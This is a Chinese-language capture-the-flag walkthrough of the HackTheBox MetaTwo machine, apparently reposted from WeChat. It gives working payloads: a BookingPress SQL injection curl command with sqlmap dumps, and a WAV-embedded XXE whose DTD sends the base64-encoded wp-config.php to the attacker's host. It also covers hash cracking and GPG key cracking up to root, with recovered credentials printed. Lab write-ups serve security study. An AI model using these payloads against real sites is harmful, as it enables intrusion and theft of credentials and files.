01
信息收集
使用Nmap对靶机地址10.129.228.95进行端口嗅探，发现开放21，22，80三个端口。
sudo nmap -sT -p- --min-rate 10000 10.129.228.95[sudo] password for kali:Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-07 01:47 EDTWarning: 10.129.228.95 giving up on port because retransmission cap hit (10).Nmap scan report for 10.129.228.95Host is up (0.37s latency).Not shown: 56012 closed tcp ports (conn-refused), 9520 filtered tcp ports (no-response)PORT STATE SERVICE21/tcp open ftp22/tcp open ssh80/tcp open httpNmap done: 1 IP address (1 host up) scanned in 95.79 seconds
使用Nmap默认脚本对继续对21，22，80端口进行嗅探，发现存在metapress.htb子域名。
sudo nmap -sS -sC 10.129.228.95 -p 21,22,80Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-07 01:52 EDTNmap scan report for 10.129.228.95Host is up (0.50s latency).PORT STATE SERVICE21/tcp open ftp22/tcp open ssh| ssh-hostkey:| 3072 c4b44617d2102d8fec1dc927fecd79ee (RSA)| 256 2aea2fcb23e8c529409cab866dcd4411 (ECDSA)|_ 256 fd78c0b0e22016fa050debd83f12a4ab (ED25519)80/tcp open http|_http-title: Did not follow redirect to http://metapress.htb/Nmap done: 1 IP address (1 host up) scanned in 85.46 seconds
未发现存在FTP匿名登录。
ftp anonymous@10.129.228.95:21
将metapress.htb域名添加到/etc/hosts文件中，使得可以正常DNS解析访问网页。
# MetaTwo10.129.228.95 metapress.htb
使用wfuzz工具对metapress.htb子域名进行FUZZ，发现均返回302状态码，使用“--hl 7”对结果进行过滤，未发现其他子域名信息。
wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host:FUZZ.metapress.htb" -u "http://metapress.htb/"
wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hl 7 -H "Host:FUZZ.metapress.htb" -u "http://metapress.htb/"
访问80端口Web页面如下，通过wappalyzer发现站点WordPress、Nginx、PHP等信息。
WordPress 5.6.2Nginx 1.18.0PHP 8.0.24
使用feroxbuster进行目录扫描，使用"-C 302,301,404,502”过滤状态码后，未发现有用信息。
feroxbuster -u http://metapress.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -C 302,301,404,502
使用wpscan对站点WordPress进行漏洞扫描，发现存在以下漏洞。
wpscan --url http://metapress.htb/ --api-token=5cex36dDY8mWXTLkxrPsknaT2rRSZhTEoA0aUCHtTNw| [!] 29 vulnerabilities identified:|| [!] Title: WordPress 5.6-5.7 - Authenticated XXE Within the Media Library Affecting PHP 8| Fixed in: 5.6.3| References:| - https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29447| - https://wordpress.org/news/2021/04/wordpress-5-7-1-security-and-maintenance-release/| - https://core.trac.wordpress.org/changeset/29378| - https://blog.wpscan.com/2021/04/15/wordpress-571-security-vulnerability-release.html| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-rv47-pc52-qrhh| - https://blog.sonarsource.com/wordpress-xxe-security-vulnerability/| - https://hackerone.com/reports/1095645| - https://www.youtube.com/watch?v=3NBxcmqCgt4|| [!] Title: WordPress 4.7-5.7 - Authenticated Password Protected Pages Exposure| Fixed in: 5.6.3| References:| - https://wpscan.com/vulnerability/6a3ec618-c79e-4b9c-9020-86b157458ac5| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29450| - https://wordpress.org/news/2021/04/wordpress-5-7-1-security-and-maintenance-release/| - https://blog.wpscan.com/2021/04/15/wordpress-571-security-vulnerability-release.html| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-pmmh-2f36-wvhq| - https://core.trac.wordpress.org/changeset/50717/| - https://www.youtube.com/watch?v=J2GXmxAdNWs|| [!] Title: WordPress 3.7 to 5.7.1 - Object Injection in PHPMailer| Fixed in: 5.6.4| References:| - https://wpscan.com/vulnerability/4cd46653-4470-40ff-8aac-318bee2f998d| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36326| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19296| - https://github.com/WordPress/WordPress/commit/267061c9595fedd321582d14c21ec9e7da2dcf62| - https://wordpress.org/news/2021/05/wordpress-5-7-2-security-release/| - https://github.com/PHPMailer/PHPMailer/commit/e2e07a355ee8ff36aba21d0242c5950c56e4c6f9| - https://www.wordfence.com/blog/2021/05/wordpress-5-7-2-security-release-what-you-need-to-know/| - https://www.youtube.com/watch?v=HaW15aMzBUM|| [!] Title: WordPress 5.4 to 5.8 - Lodash Library Update| Fixed in: 5.6.5| References:| - https://wpscan.com/vulnerability/5d6789db-e320-494b-81bb-e678674f4199| - https://wordpress.org/news/2021/09/wordpress-5-8-1-security-and-maintenance-release/| - https://github.com/lodash/lodash/wiki/Changelog| - https://github.com/WordPress/wordpress-develop/commit/fb7ecd92acef6c813c1fde6d9d24a21e02340689|| [!] Title: WordPress 5.4 to 5.8 - Authenticated XSS in Block Editor| Fixed in: 5.6.5| References:| - https://wpscan.com/vulnerability/5b754676-20f5-4478-8fd3-6bc383145811| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-39201| - https://wordpress.org/news/2021/09/wordpress-5-8-1-security-and-maintenance-release/| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-wh69-25hr-h94v|| [!] Title: WordPress 5.4 to 5.8 - Data Exposure via REST API| Fixed in: 5.6.5| References:| - https://wpscan.com/vulnerability/38dd7e87-9a22-48e2-bab1-dc79448ecdfb| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-39200| - https://wordpress.org/news/2021/09/wordpress-5-8-1-security-and-maintenance-release/| - https://github.com/WordPress/wordpress-develop/commit/ca4765c62c65acb732b574a6761bf5fd84595706| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-m9hc-7v5q-x8q5|| [!] Title: WordPress < 5.8.2 - Expired DST Root CA X3 Certificate| Fixed in: 5.6.6| References:| - https://wpscan.com/vulnerability/cc23344a-5c91-414a-91e3-c46db614da8d| - https://wordpress.org/news/2021/11/wordpress-5-8-2-security-and-maintenance-release/| - https://core.trac.wordpress.org/ticket/54207|| [!] Title: WordPress < 5.8 - Plugin Confusion| Fixed in: 5.8| References:| - https://wpscan.com/vulnerability/95e01006-84e4-4e95-b5d7-68ea7b5aa1a8| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44223| - https://vavkamil.cz/2021/11/25/wordpress-plugin-confusion-update-can-get-you-pwned/|| [!] Title: WordPress < 5.8.3 - SQL Injection via WP_Query| Fixed in: 5.6.7| References:| - https://wpscan.com/vulnerability/7f768bcf-ed33-4b22-b432-d1e7f95c1317| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21661| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-6676-cqfm-gw84| - https://hackerone.com/reports/1378209|| [!] Title: WordPress < 5.8.3 - Author+ Stored XSS via Post Slugs| Fixed in: 5.6.7| References:| - https://wpscan.com/vulnerability/dc6f04c2-7bf2-4a07-92b5-dd197e4d94c8| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21662| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-699q-3hj9-889w| - https://hackerone.com/reports/425342| - https://blog.sonarsource.com/wordpress-stored-xss-vulnerability|| [!] Title: WordPress 4.1-5.8.2 - SQL Injection via WP_Meta_Query| Fixed in: 5.6.7| References:| - https://wpscan.com/vulnerability/24462ac4-7959-4575-97aa-a6dcceeae722| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21664| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-jp3p-gw8h-6x86|| [!] Title: WordPress < 5.8.3 - Super Admin Object Injection in Multisites| Fixed in: 5.6.7| References:| - https://wpscan.com/vulnerability/008c21ab-3d7e-4d97-b6c3-db9d83f390a7| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21663| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-jmmq-m8p8-332h| - https://hackerone.com/reports/541469|| [!] Title: WordPress < 5.9.2 - Prototype Pollution in jQuery| Fixed in: 5.6.8| References:| - https://wpscan.com/vulnerability/1ac912c1-5e29-41ac-8f76-a062de254c09| - https://wordpress.org/news/2022/03/wordpress-5-9-2-security-maintenance-release/|| [!] Title: WP < 6.0.2 - Reflected Cross-Site Scripting| Fixed in: 5.6.9| References:| - https://wpscan.com/vulnerability/622893b0-c2c4-4ee7-9fa1-4cecef6e36be| - https://wordpress.org/news/2022/08/wordpress-6-0-2-security-and-maintenance-release/|| [!] Title: WP < 6.0.2 - Authenticated Stored Cross-Site Scripting| Fixed in: 5.6.9| References:| - https://wpscan.com/vulnerability/3b1573d4-06b4-442b-bad5-872753118ee0| - https://wordpress.org/news/2022/08/wordpress-6-0-2-security-and-maintenance-release/|| [!] Title: WP < 6.0.2 - SQLi via Link API| Fixed in: 5.6.9| References:| - https://wpscan.com/vulnerability/601b0bf9-fed2-4675-aec7-fed3156a022f| - https://wordpress.org/news/2022/08/wordpress-6-0-2-security-and-maintenance-release/|| [!] Title: WP < 6.0.3 - Stored XSS via wp-mail.php| Fixed in: 5.6.10| References:| - https://wpscan.com/vulnerability/713bdc8b-ab7c-46d7-9847-305344a579c4| - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/| - https://github.com/WordPress/wordpress-develop/commit/abf236fdaf94455e7bc6e30980cf70401003e283|| [!] Title: WP < 6.0.3 - Open Redirect via wp_nonce_ays| Fixed in: 5.6.10| References:| - https://wpscan.com/vulnerability/926cd097-b36f-4d26-9c51-0dfab11c301b| - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/| - https://github.com/WordPress/wordpress-develop/commit/506eee125953deb658307bb3005417cb83f32095|| [!] Title: WP < 6.0.3 - Email Address Disclosure via wp-mail.php| Fixed in: 5.6.10| References:| - https://wpscan.com/vulnerability/c5675b59-4b1d-4f64-9876-068e05145431| - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/| - https://github.com/WordPress/wordpress-develop/commit/5fcdee1b4d72f1150b7b762ef5fb39ab288c8d44|| [!] Title: WP < 6.0.3 - Reflected XSS via SQLi in Media Library| Fixed in: 5.6.10| References:| - https://wpscan.com/vulnerability/cfd8b50d-16aa-4319-9c2d-b227365c2156| - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/| - https://github.com/WordPress/wordpress-develop/commit/8836d4682264e8030067e07f2f953a0f66cb76cc|| [!] Title: WP < 6.0.3 - CSRF in wp-trackback.php| Fixed in: 5.6.10| References:| - https://wpscan.com/vulnerability/b60a6557-ae78-465c-95bc-a78cf74a6dd0| - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/| - https://github.com/WordPress/wordpress-develop/commit/a4f9ca17fae0b7d97ff807a3c234cf219810fae0|| [!] Title: WP < 6.0.3 - Stored XSS via the Customizer| Fixed in: 5.6.10| References:| - https://wpscan.com/vulnerability/2787684c-aaef-4171-95b4-ee5048c74218| - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/| - https://github.com/WordPress/wordpress-develop/commit/2ca28e49fc489a9bb3c9c9c0d8907a033fe056ef|| [!] Title: WP < 6.0.3 - Stored XSS via Comment Editing| Fixed in: 5.6.10| References:| - https://wpscan.com/vulnerability/02d76d8e-9558-41a5-bdb6-3957dc31563b| - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/| - https://github.com/WordPress/wordpress-develop/commit/89c8f7919460c31c0f259453b4ffb63fde9fa955|| [!] Title: WP < 6.0.3 - Content from Multipart Emails Leaked| Fixed in: 5.6.10| References:| - https://wpscan.com/vulnerability/3f707e05-25f0-4566-88ed-d8d0aff3a872| - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/| - https://github.com/WordPress/wordpress-develop/commit/3765886b4903b319764490d4ad5905bc5c310ef8|| [!] Title: WP < 6.0.3 - SQLi in WP_Date_Query| Fixed in: 5.6.10| References:| - https://wpscan.com/vulnerability/1da03338-557f-4cb6-9a65-3379df4cce47| - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/| - https://github.com/WordPress/wordpress-develop/commit/d815d2e8b2a7c2be6694b49276ba3eee5166c21f|| [!] Title: WP < 6.0.3 - Stored XSS via RSS Widget| Fixed in: 5.6.10| References:| - https://wpscan.com/vulnerability/58d131f5-f376-4679-b604-2b888de71c5b| - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/| - https://github.com/WordPress/wordpress-develop/commit/929cf3cb9580636f1ae3fe944b8faf8cca420492|| [!] Title: WP < 6.0.3 - Data Exposure via REST Terms/Tags Endpoint| Fixed in: 5.6.10| References:| - https://wpscan.com/vulnerability/b27a8711-a0c0-4996-bd6a-01734702913e| - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/| - https://github.com/WordPress/wordpress-develop/commit/ebaac57a9ac0174485c65de3d32ea56de2330d8e|| [!] Title: WP < 6.0.3 - Multiple Stored XSS via Gutenberg| Fixed in: 5.6.10| References:| - https://wpscan.com/vulnerability/f513c8f6-2e1c-45ae-8a58-36b6518e2aa9| - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/| - https://github.com/WordPress/gutenberg/pull/45045/files|| [!] Title: WP <= 6.2 - Unauthenticated Blind SSRF via DNS Rebinding| References:| - https://wpscan.com/vulnerability/c8814e6e-78b3-4f63-a1d3-6906a84c1f11| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3590| - https://blog.sonarsource.com/wordpress-core-unauthenticated-blind-ssrf/
在google查询漏洞信息，发现存在漏洞利用脚本，但是需要站点账户登录凭据。
https://www.exploit-db.com/exploits/50304
02
获取站点权限
继续分析页面，在http://metapress.htb/events/源代码中发现了bookingpress-appointment-booking插件，该插件可能存在CVE-2022-0739漏洞，该漏洞是在BookingPress版本小于1.0.11时存在未授权的SQL注入漏洞。
bookingpress-appointment-booking CVE-2022-0739查看漏洞利用脚本如下，在http://metapress.htb/events/源代码中找到了_wpnonce的值75eb04a260。
https://vulners.com/wpexploit/WPEX-ID:388CD42D-B61A-42A4-8604-99B812DB2357
view-source:http://metapress.htb/events/ 75eb04a260
使用curl工具对漏洞进行验证，在返回包中发现数据库版本等信息，验证CVE-2022-0739漏洞存在。
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php'--data 'action=bookingpress_front_get_category_services&_wpnonce=75eb04a260&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
将请求包放至sql.txt文件中，使用sqlmap进行自动化注入并利用，最终在blog数据库wp_users数据表中找到登录账户及加密口令。
sqlmap -r sql.txt -p total_service
sqlmap -r sql.txt -p total_service -D blog -T wp_users --dump
admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
将其放至hash.txt中，使用hashcat进行爆破，在未使用“-m”指定爆破模式时其能自动识别并进行爆破。最后获取到了manager账户的口令信息，成功登录wordpress站点。
hashcat hash.txt /usr/share/wordlists/rockyou.txt --user
manager:partylikearockstar
03
获取jnelson权限
在http://metapress.htb/wp-admin/upload.php页面发现media-library，可以利用前面收集的“Authenticated XXE Within the Media Library Affecting PHP 8”漏洞进行攻击。使用漏洞利用脚本攻击，未能攻击成功，可能是脚本有问题，下面进行手工攻击。
在攻击机/home/kali/Desktop/MetaTwo/XXE目录下使用如下命令建立payload.wav文件。因为上传的是wav文件，为了文件能够正常解析，需要增加“RIFFxb8x00x00x00WAVEiXMLx7bx00x00x00”wav头。
echo -en 'RIFFxb8x00x00x00WAVEiXMLx7bx00x00x00<?xml version="1.0"?><ANY[<!ENTITY % remote SYSTEM "http://10.10.14.4:8000/xx3.dtd">%remote;%init;%trick;]>x00' > payload.wav在目录下新建xx3.dtd文件，并将以下内容保存至xx3.dtd文件，并在该目录下使用python开启一个http.server服务。
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=../wp-config.php"><!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.4:8000/?p=%file;'>" >
在站点中上传payload.wav文件，可以看到http.server服务成功返回base64编码的数据，将数据进行base64解码，成功获取到wp-config.php文件内容。
在wp-config.php文件中找到了FTP凭据和MySQL凭据，由于未开放3306端口，仅能对FTP凭据进行利用。
metapress.htb:9NYS_ii@FyL_p5M2NvJ同理，利用XXE漏洞也可以获取到/etc/passwd文件内容。
root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsystemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologinsystemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologinmessagebus:x:103:109::/nonexistent:/usr/sbin/nologinsshd:x:104:65534::/run/sshd:/usr/sbin/nologinjnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bashsystemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologinsystemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologinmysql:x:105:111:MySQL Server,,,:/nonexistent:/bin/falseproftpd:x:106:65534::/run/proftpd:/usr/sbin/nologinftp:x:107:65534::/srv/ftp:/usr/sbin/nologin
使用metapress.htb:9NYS_ii@FyL_p5M2NvJ凭据登录FTP，在mailer文件夹下发现send_email.php文件。
将send_email.php下载至本地查看，发现jnelson凭据。
[email protected]:Cb4_JmWM8zUZWMu@Ys使用SSH远程登录jnelson账户，成功获取到user.txt。
ssh [email protected]
04
获取root权限
使用“sudo -l”命令查看，未发现jnelson账户可以使用sudo特权的文件。使用“ls -la”发现目录下存在passpie的隐藏目录。
通过信息收集发现其为一款命令行密码管理的工具，在命令行输入passpie，验证靶机确实存在passpie工具。
在.passple目录下发现keys信息，将.keys文件下载至本地。
使用gpg2john工具将keys文件内容转换为可爆破的hash输出至key_hash.txt 中，页面提示需要将公钥块内容去掉。
gpg2john keys | tee key_hash.txt 
Passpie:$gpg$*17*54*3072*e975911867862609115f302a3d0196aec0c2ebf79a84c0303056df921c965e589f82d7dd71099ed9749408d5ad17a4421006d89b49c0*3*254*2*7*16*21d36a3443b38bad35df0f0e2c77f6b9*65011712*907cb55ccb37aaad:::Passpie (Auto-generated by Passpie) <passpie@local>::keys使用john对key_hash.txt进行爆破，成功获得私钥blink182。
john --wordlist=/usr/share/wordlists/rockyou.txt key_hash.txtblink182 (Passpie)
利用passpie工具将root口令转换为明文，成功获取root口令。
passpie copy --to stdout --passphrase blink182 root@ssh
root:p7qfAZt4_A1xo_0x在root家目录下成功获取root.txt。
jnelson@meta2:~/.passpie$ su -Password:root@meta2:~restore root.txtroot@meta2:~cf89bad430b631359bd61a8520424071
原文始发于微信公众号（Matrix1024）：HackTheBox-MetaTwo
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论